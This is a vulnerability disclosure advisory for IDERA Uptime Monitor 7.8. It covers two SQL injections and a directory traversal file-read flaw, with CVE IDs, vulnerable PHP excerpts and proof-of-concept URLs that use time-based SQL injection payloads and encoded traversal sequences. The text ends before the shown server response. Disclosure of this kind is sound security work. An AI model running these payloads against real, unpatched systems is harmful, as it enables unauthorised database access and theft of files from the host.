Exploit Source

## Vulnerabilities Summary

The following advisory describe three (3) vulnerabilities found in IDERA Uptime Monitor version 7.8.

“IDERA Uptime Monitor is a Proactively monitor physical servers, virtual machines, network devices, applications, and services across multiple platforms running on-premise, remotely, or in the Cloud. Uptime Infrastructure Monitor provides a unified view of IT environment health and a GUI that is easily customizable, with a drag-anddrop dashboard design. Create private IT dashboards, team dashboards (server, application, capacity and networking teams, and even the specialist practitioner such as SharePoint farm administrators, etc.), and a network operations center (NOC) for the entire datacenter in minutes.”

The vulnerabilities found are:

SQL Injection (1)

SQL Injection (2)

Directory Traversal and File Access

## Credit

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response

We notified IDERA about the vulnerabilities back in March 2017, repeated attempts to re-establish contact and get some answers on the status of the patch for this vulnerabilities went unanswered. At this time there is no solution or workaround for this vulnerability.

CVE’s:

SQL Injection (1) – CVE-2017-11470

SQL Injection (2) – CVE-2017-11471

Directory Traversal and File Access – CVE-2017-11469

## Vulnerabilities Details

## SQL Injection (1)

IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database

The SQL injection vulnerability is located in “/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php”:

```

if (isset($_GET['query_type'])) {

$query_type = $_GET['query_type'];

}

if (isset($_GET['uptime_offset'])) {

$offset = $_GET['uptime_offset'];

}

if (isset($_GET['time_frame'])) {

$time_frame = $_GET['time_frame'];

} else {

$time_frame = 3;

}

if (isset($_GET['metricType'])) {

$metricType = $_GET['metricType'];

}

if (isset($_GET['element'])) {

$vmware_object_id = $_GET['element'];

}

$json = array();

$oneElement = array();

$performanceData = array();

//date_default_timezone_set('UTC');

$db = new uptimeDB;

if ($db - & gt; connectDB()) {

echo "";

} else {

echo "unable to connect to DB exiting";

exit(1);

}

if ($query_type == "osperf-Mem") {

$min_mem_usage_array = array();

$max_mem_usage_array = array();

$avg_mem_usage_array = array();

$sql = "SELECT

e.entity_id,

e.display_name as NAME,

date(s.sample_time) as SAMPLE_TIME,

min(a.free_mem) as MIN_MEM_USAGE,

max(a.free_mem) as MAX_MEM_USAGE,

avg(a.free_mem) as AVG_MEM_USAGE,

min(c.memsize) as TOTAL_CAPACITY,

max(c.memsize),

avg(c.memsize),

day(s.sample_time),

month(s.sample_time),

year(s.sample_time)

FROM

performance_aggregate a, performance_sample s, entity e, entity_configuration c

WHERE

s.id = a.sample_id AND

s.uptimehost_id = e.entity_id AND

e.entity_id = c.entity_id AND

s.sample_time & gt;

date_sub(now(), interval ". $time_frame . "

month) AND

e.entity_id = $vmware_object_id

GROUP BY

e.entity_id,

year(s.sample_time),

month(s.sample_time),

day(s.sample_time)

```

User controlled data entering the HTTP GET parameter “element” is included as part of an SQL query that is executed if the “$query_type” variable is equal to “osperf-Mem”. Because the value of the “$query_type” variable can also be set using the HTTP GET parameter “query_type”, a user can force the application to take the vulnerable code path, and execute the tainted SQL query. Visiting the following URL on a vulnerable installation will trigger the vulnerability, and return a verbose SQL error message.

```

/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperfMem&element='

```

## Proof of Concept

```

http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperf-Mem&element=1%20AND%20SLEEP(5)

## SQL Injection (2)

The vulnerability is very similar in structure to the first SQL vulnerability, and is located in “/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php”

```

if (isset($_GET['query_type'])) {

$query_type = $_GET['query_type'];

}

if (isset($_GET['uptime_offset'])) {

$offset = $_GET['uptime_offset'];

}

if (isset($_GET['time_frame'])) {

$time_frame = $_GET['time_frame'];

} else {

$time_frame = 3;

}

if (isset($_GET['metricType'])) {

$metricType = $_GET['metricType'];

}

if (isset($_GET['element'])) {

$element_id = $_GET['element'];

}

$json = array();

$oneElement = array();

$performanceData = array();

//date_default_timezone_set('UTC');

$db = new uptimeDB;

if ($db - & gt; connectDB()) {

echo "";

} else {

echo "unable to connect to DB exiting";

exit(1);

}

if ($query_type == "xenserver-Mem") {

$min_mem_usage_array = array();

$max_mem_usage_array = array();

$avg_mem_usage_array = array();

$getXenServerMemUsedsql = "SELECT

e.entity_id,

e.display_name as NAME,

date(dd.sampletime) as SAMPLE_TIME,

min(dd.value) as MIN_MEM_USAGE,

max(dd.value) as MAX_MEM_USAGE,

avg(dd.value) as AVG_MEM_USAGE,

day(dd.sampletime),

month(dd.sampletime),

year(dd.sampletime)

FROM

erdc_base b, erdc_configuration c, erdc_parameter p,

erdc_decimal_data dd, erdc_instance i, entity e

WHERE

b.name = 'XenServer'

AND

b.erdc_base_id = c.erdc_base_id AND

b.erdc_base_id = p.erdc_base_id AND

p.name = 'hostMemUsed'

AND

p.erdc_parameter_id = dd.erdc_parameter_id AND

dd.erdc_instance_id = i.erdc_instance_id AND

dd.sampletime & gt;

date_sub(now(), interval ". $time_frame . "

month)

AND

i.entity_id = e.entity_id AND

e.entity_id = $element_id

GROUP BY

e.entity_id,

year(dd.sampletime),

month(dd.sampletime),

day(dd.sampletime)

```

Visiting the following URL will elicit a verbose SQL message from the vulnerable web application.

```

/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php?query_type=xenserver-Mem&time_frame=1&element='

```

## Proof of Concept

```

http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php?query_type=xenserverMem&time_frame=1&element=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))tayk)

```

## Directory Traversal and File Access

User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.

The vulnerable code can be found in get2post.php file:

```

if(isset($_GET["file_name"]) && $_GET["file_name"] != null){

$fileName = $_GET["file_name"];

$data = file_get_contents($fileName);

$data = str_replace("\"", '"', $data);

unlink($fileName);

print("<input type=\"hidden\" name=\"script\" value=\"".$data."\">\n");

```

User controlled data entering the HTTP GET parameter “file_name” is sanitized by removing all occurrences of the “\” character, and is then passed to the “file_get_contents” function. Next, then contents of the file (now in the $data variable) is printed in the application’s HTTP response.

## Proof of Concept

The following HTTP GET request provides proof-of-concept that will retrieve the contents of a file named “test.txt” that exists in the root of “C:\”

```

GET

/wizards/get2post.php?file_name=%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5ctest.t

xt HTTP/1.1

```

After executing this proof-of-concept against the vulnerable host, the following HTTP response was received containing the contents of the “test.txt” file that was placed in the root of “C:\”

```
